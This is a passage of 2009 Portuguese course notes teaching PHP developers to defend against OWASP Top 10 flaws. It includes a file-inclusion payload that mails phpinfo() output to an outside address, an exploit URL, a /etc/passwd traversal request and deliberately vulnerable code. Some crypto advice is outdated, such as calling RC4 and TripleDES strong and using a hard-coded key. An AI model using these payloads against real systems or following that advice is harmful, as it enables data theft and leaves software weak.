Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo #3 - “Instalando” arquivos maliciosos (caso específico de inclusão de arquivo) <?php $evilCode = <<< EVL <?php $headers = 'MIME-Version: 1.0' . quot;rnquot;; $headers .= 'Content-type: text/html; charset=iso-8859-1' . quot;rnquot;; ob_start(); phpinfo(-1); $resultado = ob_get_contents(); ob_end_clean(); mail('galvao@galvao.eti.br', 'Yatta!', $resultado, $headers); ?> EVL; if ($fw = fopen('./f6543.php', 'w')) { fwrite($fw, $evilCode); fclose($fw); } else { mail('galvao@galvao.eti.br', 'Damn!', print_r(error_get_last(), true)); } ?> A exploração é feita, então, através da inclusão remota da URL: http://www.galvao.eti.br/usa_arquivo.php?arq=http://www.foo.bar.com.br/arquivo.php Soluções insuficientes Uma aplicação, idealmente, não deveria trabalhar com dados fornecidos pelo usuário para manipulação de arquivos. Além disso, e nunca é demais estressar este ponto, soluções de black list, como a filtragem de caracteres específicos não é suficiente. Além disso raramente podemos alterar as configurações allow_url_fopen – que inclusive vem ativada por default – e allow_url_include, responsáveis por permitir a abertura e inclusão de arquivos remotos, respectivamente. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 24 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações Prevenir vulnerabilidades de Execução Maliciosa de Arquivos requer um cuidadoso planejamento da aplicação. Algumas considerações importantes: Use referências indiretas à objetos (mais sobre isso na próxima vulnerabilidade). ● Realize uma forte validação dos dados antes de utilizá-los, sempre lembrando que ● uma validação por white list é recomendável em detrimento de validações baseadas em black list. Certifique-se de que dados fornecidos pelo usuário que serão usados em funções ● que envolvem arquivos e/ou streams não interfiram com outras partes da aplicação, como sessões, relatórios, imagens, etc... Se possível utilize uma solução de chroot jail ou outro mecanismo de sand box ● para isolar as aplicações entre si. Recomendações específicas para PHP Desative (se possível) as configurações allow_url_fopen e allow_url_include. ● Desative (se possível) a configuração register_globals e utilize o nível de erro ● E_STRICT de forma à capturar variáveis não-inicializadas. Certifique-se que todas as funções relacionadas à arquivos/streams não aceitem ● entrada de dados externa. Tenha extremo cuidado com dados passados para funções de execução de ● comandos no SO, como system, exec, etc... 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 25 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática Uma solução para este tipo de vulnerabilidade é implementarmos a abordagem de white list. Tomemos como exemplo um script que recebe um dado para informar que arquivo deve ser aberto, porém todo e qualquer arquivo, deve estar em um diretório específico ou no máximo em subdiretórios à partir deste: <?php $path = './logs'; if (preg_match('/^[a-z]+.{1}log$/', utf8_decode($_GET['arq']))) { echo file_get_contents($path . '/' . utf8_decode($_GET['arq'])); } else { die('Dados inválidos'); } ?> Observe o nível de restrição da regra de validação: só serão considerados válidos dados que iniciarem por uma letra, contiverem apenas letras, seguidas por um e apenas um ponto e a extensão 'log'. Esta é a grande vantagem da abordagem do tipo white list: à partir do momento em que as regras de negócio e a lógica da aplicação estão bem definidas temos a possibilidade de criar uma regra o mais restrita possível, que bloqueará entradas inválidas e ao mesmo tempo funcionará transparentemente para acessos legítimos. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 26 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Referência Insegura Direta à Objetos O que é: Uma referência direta à objeto ocorre quando um desenvolvedor expôe uma referência para um objeto implementado internamente na aplicação – como um arquivo, diretório ou registro da base de dados, por exemplo – como um parâmetro passado via URL ou formulário. Um atacante pode manipular referências diretas à objetos para acessar outros objetos sem autorização, à não ser que uma checagem de controle de acesso seja implementada. Tipos Conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Muitos atacantes experimentam com parâmetros e elementos de formulário de forma à comprometer uma aplicação. A maioria dos casos de aplicações vulneráveis faz referência à arquivos ou registros de bases de dados. Vejamos um exemplo: http://www.galvao.eti.br/editPerfil.php?uid=12 <?php /* Código para acessar a base */ $sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' LIMIT 1'; $prep = $conn->Prepare($sql); $resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid'])); while (!$resultado->EOF) { /* Código para gerar campos de formulário */ } ?> Como não há nenhuma checagem de segurança ou controle de acesso, um atacante pode editar o perfil de qualquer usuário simplesmente alterando o parâmetro 'uid' presente na query string, já que este faz referência direta à um objeto (neste caso um registro presente na base de dados). 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 27 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável Além do exemplo acima, podemos citar também o caso clássico de interação entre formulário e script. Considerando-se que possuímos arquivos próprios para cada idioma (como por exemplo 'pt.php' e 'en.php'): /* Código HTML padrão de formulário */ <select name=”idioma”> <option value=”en”>inglês</option> <option value=”pt”>português</option> </select> <?php require $_REQUEST['idioma']; /* código restante */ ?> Este script pode ser facilmente enganado através da manipulação do valor do elemento: http://www.galvao.eti.br/seleciona_idioma.php?idioma=/etc/passwd Qualquer semelhança, neste caso, não é mera coincidência: este exemplo expõe duas vulnerabilidades: Execução Maliciosa de Arquivo e Referência Insegura Direta à Objetos. Obs.: Utilizamos o array superglobal $_REQUEST propositalmente neste exemplo para simplificarmos a exemplificação da exploração desta vulnerabilidade. Não esqueça: requisições pelo método POST são tecnicamente mais complexas de serem forjadas, mas igualmente possíveis. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 28 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Soluções Insuficientes Embora rotinas de controle de acesso (que veremos na prática à seguir) sejam indispensáveis para minimizar esta vulnerabilidade, elas não são suficientes por si só: é necessário, nos casos de referências à arquivos, por exemplo, um mapeamento indireto dos arquivos de forma à assegurar que o sistema de arquivos da máquina que roda a aplicação não seja exposto. Recomendações Utilize um processo de indexação/mapeamento dos objetos da aplicação, de forma ● que eles não sejam expostos diretamente. Valide referências indiretas à objetos, através de – como de costume – uma rotina ● de white list. Implemente uma rotina de controle de acesso, de forma à se assegurar de que o ● usuário só tenha acesso ao que lhe é devido. Recomendações PHP na prática <?php /* Código para acessar a base */ $sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' AND usuario_id = ' . $user->getID() . ' LIMIT 1'; $prep = $conn->Prepare($sql); $resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid'])); while (!$resultado->EOF) { /* Código para gerar campos de formulário */ } ?> Observe a pequena porém importantíssima modificação no código: o usuário, à partir deste momento, terá acesso apenas a página de modificação do seu próprio perfil. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 29 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18 À seguir veremos duas abordagens distintas para o problema da referência direta à arquivos: Exemplo #1: <?php // Através de indexação indireta $idiomas = array('en', 'pt'); $idioma_OK = (int)$_GET['idioma']; if (in_array($id_OK, array_keys($idiomas))) { require $idiomas[$id_OK] . '.php'; } ?> Exemplo #2: <?php // Através de indexação indireta, com checagem via white list $idiomas = array('en', 'pt'); if (!preg_match('/^[0-9]{1}$/', $_GET['idioma'])) { die('Arquivo não encontrado'); } else { if (in_array($_GET['idioma'], array_keys($idiomas))) { require $idiomas[$_GET['idioma']] . '.php'; } } ?> Embora tecnicamente eficientes há uma diferença importante entre estas abordagens: O Exemplo #2 utiliza, explicitamente, a abordagem de white list para verficação se o dado recebido é, de fato numérico. O Exemplo #1 não faz, na prática, esta validação, porém 'força' a tipagem do dado para um número inteiro através da construção int. Isto significa que enquanto no Exemplo #2 um dado não-numérico será automaticamente barrado pela aplicação, o mesmo não ocorrerá no primeiro caso. O Exemplo #1 implementa uma espécie de rotina de fallback, onde dados não- numéricos resultarão no seu equivalente numérico caso iniciem por um número ou no número 0 (zero) no caso de iniciarem por caracteres não-numéricos. É pelos motivos apresentados acima que a abordagem do exemplo #2 é, tecnicamente, a mais correta e segura. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 30 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18 CSRF – Cross Site Request Forgery O que é: Vulnerabilidades CSRF causam ataques devastadores: Ataques baseados nesta vulnerabilidade 'forçam' um browser de um usuário logado em uma aplicação a enviar uma requisição para uma aplicação vulnerável, que por sua vez executará uma ação em nome do usuário. Tipos conhecidos: Esta vulnerabilidade também é conhecida pelos nomes: Session Riding, One-click Attack, Cross Site Reference Forgery, Hostile Linking e Automation Attack. Também é conhecida pelo acrônimo XSRF, embora tanto o OWASP como a MITRE tenham chegado no consenso de utilizar o acrônimo CSRF e o nome Cross Site Request Forgery. Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Uma das principais causas da existência desta vulnerabilidade é a confiança excessiva por parte da aplicação em credenciais de acesso automaticamente transmitidas, como um cookie de sessão, ou por permitir que credenciais de acesso sejam transmitidas por parâmetros de query string ou formulário sem checagens de segurança adicionais. Embora não sejam absolutamente necessárias para que ocorram falhas de CSRF, toda a aplicação vulnerável à XSS é, via de regra, um veículo para ataques baseados em CSRF, pois tags injetadas podem conter o direcionamento necessário para a aplicação vulnerável. Consequências possíveis Diversas. A consequência da exploração de uma vulnerabilidade CSRF está diretamente ligada ao tipo de ações possíveis na aplicação vulnerável. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 31 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável Exemplo #1 – Confiando em cookies <?php if (isset($_COOKIE['cliente_autenticado'])) { // Qualquer código de validação das informações contidas no cookie // Seguido do código que implementa um comportamento “normal” da aplicação // como se o usuário já estivesse autenticado. } ?> É importante frisar que, embora o exemplo clássico desta vulnerabilidade esteja associado à confiança em cookies, mesmo as aplicações que não lidam com cookies ou sempre realizam a autenticação do usuário não são necessariamente seguras, embora sejam mais complexas de serem atacadas. Isto ocorre porque se as credenciais do usuário forem expostas por qualquer motivo, elas podem ser enviadas em uma requisição forjada para o script de autenticação, e consequentemente permitir uma ação em nome do usuário posteriormente. Soluções insuficientes Qualquer solução que não implemente uma checagem de segurança que se baseie em uma forte rotina de verificação que não seja disponível para o browser é, por definição, insuficiente. Recomendações Certifique-se de que sua aplicação não seja vulnerável à ataques XSS. ● Trabalhe com tokens específicos que não sejam armnazenados em nenhum meio ● – como sessões, por exemplo – que possibilite ao browser “lembrá-los”. Para ações extremamente delicadas, re-autentique o usuário. ● Não utilize o requisições GET para ações delicadas. ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 32 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática O código-fonte necessário para a geração e manutenção de tokens seria longo demais para incluir nesse material. Sendo assim, este código será trabalhado, desde o começo e de forma prática, dentro de sala de aula. Seguiremos a seguinte lógica para desenvolver o código necessário: 1 Programaremos uma classe responsável por: 1.1 Gerar novos tokens 1.2 Armazenar tokens gerados em um RDBMS de forma à utilizá-los 1.3 Os tokens expirarão depois de um tempo pré-definido. 2 O script responsável por realizar a autenticação, por sua vez, não apenas checará pela validade do token, como fará com que ele expire automaticamente depois do seu uso. Observe-se que, embora a prática seja relativamente complexa, a teoria por trás disso é simples: o ponto crucial é que se utilize uma espécie de “chave” de validação que seja independente do browser e que não seja “memorizado” por nenhum mecanismo de armazenamento do lado cliente. Desta forma impedimos que um ataque que procura explorar vulnerabilidades CSRF tente transmitir automaticamente esta chave. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 33 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Vazamento de Informações e Tratamento de Erros Inapropriado O que é: Aplicações podem “vazar” informações sobre sua configuração e rotinas internas, devido à uma variedade de problemas. Elas também podem vazar informações sobre suas rotinas de processamento de estado através do tempo que demoram para processar requisições específicas ou como reagem à diferentes entradas de informação. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Aplicações geralmente apresentam mensagens de erro para seus usuários. Frequentemente estas mensagens são úteis para um atacante, já que elas revelam detalhes de implementação ou informações que são úteis para a exploração de uma vulnerabilidade específica. Os exemplos mais comuns são: Tratamento de erro detalhado, onde a indução de um erro causa a exibição de ● muita informação, como falhas de queries SQL ou outras informações de debug. Funções que produzem resultados diferentes dependendo da entrada de dados. ● Por exemplo: uma função de autenticação deveria produzir exatamente a mesma mensagem de erro para os casos em que o usuário não existe e para quando a senha está incorreta. Consequências possíveis Comprometimento de toda a aplicação através do comprometimento de um dos ● componentes do backend, como o RDBMS, através da análise de mensagens de erros em falhas na execução de queries. Facilitação da exploração das demais vulnerabilidades expostas neste material. ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 34 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável <?php $conn = mysql_connect($host, $user, $senha); $sql = “SELECT id FROM usuarios WHERE login='$login' AND senha='$senha'”; $resultado = mysql_query($sql) or die('Erro ao executar a query: ' . $sql); // Mais código padrão ?> Exemplos de exploração Uma mensagem de erro retornada pela primeira linha, no caso de problemas no RDBMS, entregaria muitas informações importantes para um atacante: Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'usuario'@'localhost' (using password: YES) in /home/galvao/workspace/topten/mysql_error.php on line 2 Observe-se que, se para invadirmos um RDBMS precisamos de três informações (endereço do servidor, usuário e senha), a mensagem de erro acima já nos disponibiliza duas destas. Soluções insuficientes É importante observar que o uso ou não da função die não representa um acréscimo de risco: esta função apenas nos permite interromper a execução do script e exibir uma mensagem de erro customizada. Embora ambas as coisas sejam interessantes no tratamento desta vulnerabilidade se a exibição de erros do interpretador PHP estiver ativada elas de nada adiantarão. Da mesma forma é importante que haja um planejamento cuidadoso da aplicação, em um ponto que é normalmente ignorado: o tratamento de erros específicos e que mensagens serão exibidas para o usuário. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 35 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações Certifique-se que toda a equipe de desenvolvimento possua uma política bem ● definida no tratamento de exceções. Todas as ações que passam pelo mesma rotina (por exemplo, autenticação) ● retornem a mesma mensagem de erro em caso de falha, e no mesmo tempo de execução. Quando trabalhamos com aplicações web existem normalmente diversos ● componentes envolvidos no desenvolvimento, como o RDBMS e o servidor Web, por exemplo, que podem retornar mensagens de erro para a aplicação. Certifique- se de que erros vindos de qualquer componente sejam devidamente tratados. Recomendações específicas para PHP Desative a exibição de mensagens de erro (display_errors) e ative o ● armazenamento das mensagens em arquivo (log_errors). Considere implementar um handler padrão para todo e qualquer erro (veja a ● seguir). 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 36 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática <?php class ErrorHandler { private static $errMsg; public static function displayError($pErrCode, $pErrMsg, $pErrFile, $pErrLine) { self::$errMsg = quot;Código: $pErrCodenMensagem: $pErrMsgnArquivo: $pErrFilenLinha: $pErrLinequot;; echo quot;Ocorreu um erro. Por gentileza contate o administrador do sistema.quot;; mail('galvao@galvao.eti.br', 'Erro no sistema', self::$errMsg); die(); } } ?> <?php // Arquivo para ser incluído em todos os scripts require 'error_handler.class.php'; set_error_handler(array(ErrorHandler, 'displayError'), E_ALL); ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 37 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Autenticação Falha e Gerenciamento de Sessão O que é: Vulnerabilidades desse tipo frequentemente envolvem a falha em proteger as credenciais de acesso do usuário e tokens de sessão. Basicamente, este item do Top 10 se refere não apenas aos problemas de sessão, mas também à questões epecíficas de autenticação. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Falhas na rotina principal de autenticação não são incomuns, mas fraquezas relacionadas à estas vulnerabilidades geralmente são encontradas em funções auxiliares como logout, tempo de expiração, lembrete de senhas, atualização de contas de acesso e gerenciamento de senhas. Consequências possíveis Exposição de credenciais de acesso. ● Sequestro de contas de acesso. ● Violação de privacidade de usuários. ● Comprometimento da aplicação. ● Exemplo de código vulnerável As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a parte de recomendações e código PHP na prática. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 38 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Soluções insuficientes Sessões e rotinas de autenticação são assuntos frequentemente subestimados pelos desenvolvedores. Grande parte das rotinas de gerenciamento de sessões, por exemplo, não possuem uma preocupação em re-gerar o ID da sessão ou confiam na configuração/funcionalidade session.use_trans_sid, que acaba por expor o ID da sessão em links. Outro ponto frequentemente ignorado é o uso de HTTPS (HTTP Seguro) para transações delicadas. Recomendações Para autenticação sempre inicie por um formulário em uma página protegida por ● SSL. Utilize mecanismos de gerenciamento de sessões conhecidos, evite re-escrever ● funcionalidades que já são suportadas pela linguagem ou por um framework, por exemplo. Não aceite que IDs de sessão sejam passados como parâmetro, seja por query ● string ou formulário. Evite, se possível, usar rotinas de fixação de usuários autenticados, ● Utilize uma rotina única, fortemente protegida, de autenticação. ● Considere re-gerar o ID de sessão à cada autenticação ou mudança de privilégios ● de acesso. Disponibilize um link de logout em todas as páginas da aplicação. Lembre-se: a ● rotina de logout deve, obrigatoriamente, destruir todo e qualquer dado da sessão tanto do lado servidor quanto do lado cliente. Rotinas de logout devem ser simples, de forma que pedidos de confirmação, por ● exemplo, sejam evitados. Lembre-se: você pode perder tempo programando rotinas de confirmação de logout, mas o usuário nem sempre terá paciência pra fazer o mesmo. Utilize um período de tempo para automaticamente realizar o logout de sessões ● inativas (timeout). Dê preferência para esquemas de “pergunta/resposta” ou reset de senhas. Não confie em dados que podem ser forjados como Endereços IP ou partes deste ● (como verificar endereços IP de uma intranet, por exemplo), DNS, referrers ou similares como única forma de autenticação. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 39 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática <?php // Re-gerando um id de sessão session_start(); // Código que faz a autenticação ou mudança de privilégios de acesso session_regenerate_id(true); // Restante do código ?> <?php // Destruindo todos os dados de sessão (parascripts de logout) session_start(); // Destrói todas as variáveis de sessão $_SESSION = array(); // Destrói o cookie da sessão if (isset($_COOKIE[session_name()])) { setcookie(session_name(), '', time()-42000, '/'); } // Destrói a sessão em si session_destroy(); ?> Para definir uma rotina de timeout o ideal é utilizar uma fonte externa (como o RDBMS, por exemplo) para armazenar o timestamp de uma sessão criada, de forma que se possa verificar, de tempos em tempos, sessões inativas. Todo e qualquer script, à partir dessa abordagem, deve atualizar o RDBMS, informando a “última vez em que ocorreu uma ação” (ou seja simplesmente atualizando o timestamp). Ainda segundo esta abordagem, o ideal, quando possível, é criar uma forma independente da aplicação em si de checar e marcar registros como “inválidos por inatividade”. Para isto pode-se definir um script que seja executado via crontab/Agendador de Tarefas ou através da programação de uma stored procedure no RDBMS. Estas questões fogem de uma certa maneira ao escopo deste material, mas havendo tempo hábil analisaremos alguns detalhes em sala de aula. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 40 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Armazenamento Criptográfico Inseguro O que é: O uso de criptografia se tornou uma questão-chave da maioria das aplicações web. Porém, falhar em realmente criptografar dados delicados é extremamente comum. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Os problemas relacionados à esta vulnerabilidade podem ser definidos da seguinte forma: Não utilizar nenhuma forma de criptografia ● Uso de algoritmos caseiros ● Uso inseguro de algoritmos fortes (veja detalhes nas Recomendações) ● Uso de algoritmos comprovadamente fracos, como MD5 e SHA-1 ● Armazenamento de chaves em meios inseguros ● Esta vulnerabilidade é mais uma cuja proteção é mais foco de planejamento e design da aplicação do que propriamente código-fonte. Ainda assim, veremos algumas questões relacionadas específicamente à linguagem PHP que podem facilitar o seu tratamento. Consequências possíveis Exposição de dados sensíveis, como credenciais de acesso, dados relacionados à ● comércio, etc... Violação de privacidade ● Comprometimento da aplicação ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 41 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Soluções insuficientes Soluções “clássicas” e insuficientes para a criptografia de informação envolve, basicamente, o uso dos dois hashes mais comuns em aplicações PHP: MD5 e SHA-1. Qualquer aplicação que utilize uma das duas funções – md5 e sha1, respectivamente – está automaticamente vulnerável. Isto se dá pelo fato de que o MD5 já foi completamente quebrado, sendo fácil encontrar na própria web sites que disponibilizam as chamadas rainbow tables – literalmente tabelas que contém a string decodificada partindo-se do hash original. O SHA-1, ou US Secure Hash Algorithm 1, era o algoritmo criptográfico utilizado pelo governo Norte-Americano. Embora não haja notícia de sua quebra total, uma quebra parcial foi alcançada por um pesquisador chinês, levando o governo dos EUA à abandonar este algoritmo. Resumidamente, podemos afirmar que as seguintes afirmações são verdadeiras, embora evidentemente elas não estejam presentes neste material para proporcionar paz de espírito à ninguém: Entre não utilizar nenhum algoritmo e utilizar MD5, o melhor é optar por este. ● Entre utilizar MD5 e SHA-1 a melhor opção é a segunda. ● Recomendações Não crie algoritmos próprios. É um equívoco enorme e muito comum se pensar que ● pode-se obter algum nível de segurança por obscuridade ao se optar por um código próprio. Não use algoritmos fracos como MD5 e SHA-1. ● Ao usar chaves criptográficas e vetores de inicialização, jamais deixe o código ● responsável por sua geração acessível on-line e jamais armazene-as em meios que podem ser acessados por terceiros. Certifique-se de que credenciais de acesso (como à base de dados, por exemplo) ● não sejam acessíveis publicamente. Lembre-se que dados 'delicados' não representam apenas os casos mais óbvios ● como senhas e números de cartão de crédito. Se o dado é importante ele deve ser criptografado. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 42 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Recomendações específicas para PHP Esqueça md5 e sha1. Utilize a função mcrypt. Embora esta função não seja padrão ● na instalação do interpretador da linguagem a grande maioria dos serviços de hospedagem habilita esta extensão por default. Recomendações PHP na prática A grande vantagem da função mcrypt sobre as demais é a possibilidade de implementação de algoritmos notoriamente fortes (como TripleDES e RC4, apenas pra citar alguns). Outra funcionalidade que é desconhecida para a maioria dos programadores PHP devido ao hábito de uso da md5 e sha1 é que esta função implementa algoritmos de mão- dupla, tornando possível a decodificação de informações, quando necessário. <?php //Exemplo de uso da mcrypt, com criptografia de mão-dupla $usuario = 'galvao'; $chave = 'hj(*7aksjkas aa, '; $iv_size = mcrypt_get_iv_size(MCRYPT_TRIPLEDES, MCRYPT_MODE_OFB); $iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_RANDOM); $crypt_user = mcrypt_encrypt(MCRYPT_TRIPLEDES, $chave, $usuario, MCRYPT_MODE_OFB, $iv); echo quot;$crypt_usernquot;; $decrypt_user = mcrypt_decrypt(MCRYPT_TRIPLEDES, $chave, $crypt_user, MCRYPT_MODE_OFB, $iv); echo quot;$decrypt_usernquot;; ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 43 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Comunicações Inseguras O que é: É extremamente comum em aplicações web a despreocupação com a criptografia de comunicação de informações delicadas. A falha na implementação desta implica na exposição dos dados que estão trafegando (tanto em páginas web, como em comunicações com algum backend). Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Através do monitoramento de comunicações transmitidas através de redes não criptografadas um atacante pode ter acesso à toda e qualquer informação constante nesta comunicação. Este é o único caso de vulnerabilidade presente neste material que não possui relação direta com código-fonte. Consequências possíveis Exposição de informações, incluindo credenciais de acesso. ● Violação de privacidade. ● Comprometimento da rede, do servidor e por consequência de toda e qualquer ● aplicação que trafegue informações nestes meios. Recomendações Toda e qualquer comunicação que trabalhe com informações delicadas deve ser, ● obrigatoriamente, protegida, sendo o exemplo mais comum a criptografia através de SSL / HTTPS. Isto inclui comunicações entre a aplicação e seus backends, como o RDBMS. ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 44 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Falha de Restrição de Acesso à URL O que é: Frequentemente a única forma de restrição de acesso à uma URL específica dentro de uma aplicação é a ausência de links que apontem diretamente para a mesma. Um atacante com conhecimento, habilidade ou até mesmo sorte pode descobrir e acessar uma URL, invocando funções da aplicação ou obtendo acesso à informações. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: A falta de checagens de controle de acesso é uma das principais causas desta vulnerabilidade. isto acaba resultando em acesso indevido à URLs que normalmente não deveiam estar disponíveis. Um “efeito dominó” é gerado à partir deste acesso: a URL causa a invocação de funções, que por sua vez desempenham ações sobre componentes, o que nos piores casos leva à exposição e/ou corrupção de dados. Consequências possíveis Exposição de dados. ● Violação de privacidade. ● Corrupção de dados. ● Comprometimento da aplicação. ● Exemplo de código vulnerável As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a parte de recomendações. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 45 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Soluções insuficientes Os erros mais comuns que tornam uma aplicação suscetível à ataques que explorem esta vulnerabilidade são relacionados ao planejamento. É muito comum a preocupação, por exemplo, de restringir o acesso à URLs delicadas apenas forçando-se uma rotina de autenticação. Este tipo de “proteção” é extremente ineficiente devido à falta de rotinas de controle de acesso e permissões. Se qualquer usuário do sistema for comprometido, o acesso à URLs restritas torna-se possível pelo simples fato de um atacante possuir credenciais de acesso. Além disso é extremamente comum a tentiva de proteção através de obscuridade ao se definir as URLs. Esta abordagem é ingênua, pois sendo a web um ambiente inerentemente aberto, um simples ataque automatizado de “tentativa x erro” é suficiente para descobrir qualquer URL, por mais obscura que seja. Ao se definir rotinas de permissão de acesso um dos erros mais comuns é a inexistência de uma categoria “anônima”. Isso faz com que a probabilidade de erros na definição das regras de permissão aumente consideravelmente. Recomendações Assegure-se de que uma forte rotina de controle de acesso e níveis de permissão ● seja parte da aplicação, em todas as suas fases: Planejamento, Desenvolvimento, Testes, etc... Certifique-se de que todas as URLs sejam cobertas por estas rotinas e que todos ● os “níveis” de usuários da aplicação estejam cobertos, mesmo o nível “usuário-não- registrado/autenticado”. Arquivos que serão usados por inclusão devem, via de regra, estar for a da raiz ● web, não sendo publicamente acessíveis. Bloqueie o acesso à qualquer tipo de arquivo que sua aplicação não utilize, ● tomando por regra a abordagem do tipo white list. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 46 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Recomendações específicas para PHP Utilize práticas organizadas e bem-estruturadas de desenvolvimento (como OO e ● MVC), que naturalmente levarão à práticas que resultarão na separação de lógica de aplicação, mantendo arquivos críticos longe da raiz web do servidor. Uma prática comum em certos frameworks (como o Zend Framework, por ● exemplo) e que auxilia na proteção contra esta vulnerabilidade é o padrão Front Controller onde todas as requisições são tratadas pelo mesmo controller. Recomendações na prática Através da criação de um arquivo .htaccess na raiz web de sua aplicação é possível implementar o padrão Front Controller: # www/.htaccess RewriteEngine On #RewriteBase / RewriteRule !.(js|ico|txt|gif|jpg|png|css)$ index.php Observe-se que a regra de redirecionamento para a controller padrão baseia-se na análise da extensão do arquivo presente na URL, impedindo-se que requisições comuns – como por exemplo uma imagem – fiquem “presos” na regra. Este é apenas um exemplo simples e foge do escopo deste material, mas o entendimento do funcionamento de re-escrita de URLs através da manipulação de um arquivo .htaccess torna-se importante na medida que pode auxiliar na implementação de algumas das recomendações. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 47 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Conclusão A proteção contra as vulnerabilidades mais relevantes em aplicações web é um assunto complexo. Além disso é importante entendermos que, embora o desenvolvedor desempenhe um papel importante, a questão é também multi-disciplinar, já que envolve fases de uma aplicação que nem sempre contam com a sua presença. O que de fato é importante é que o assunto siga sendo divulgado, debatido, estudado e que soluções sejam criadas, implementadas e disponibilizadas. Este documento não tem a pretensão de ser umn estudo completo sobre o assunto, mas promover o seu entendimento e fornecer caminhos para que sua aplicação torne-se mais segura, robusta e confiável, poupando problemas para você/sua equipe/seus usuários. Espero que o objetivo tenha sido atingido, que você tenha tirado um bom proveito deste curso e que o OWASP e iniciativas similares que são tão importantes nos dias de hoje se tornem mais conhecidos e divulgados na comunidade de desenvolvimento. Muito obrigado e sucesso, Er Galvão Abbott Porto Alegre, 25 de Março de 2009. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 48 / 52

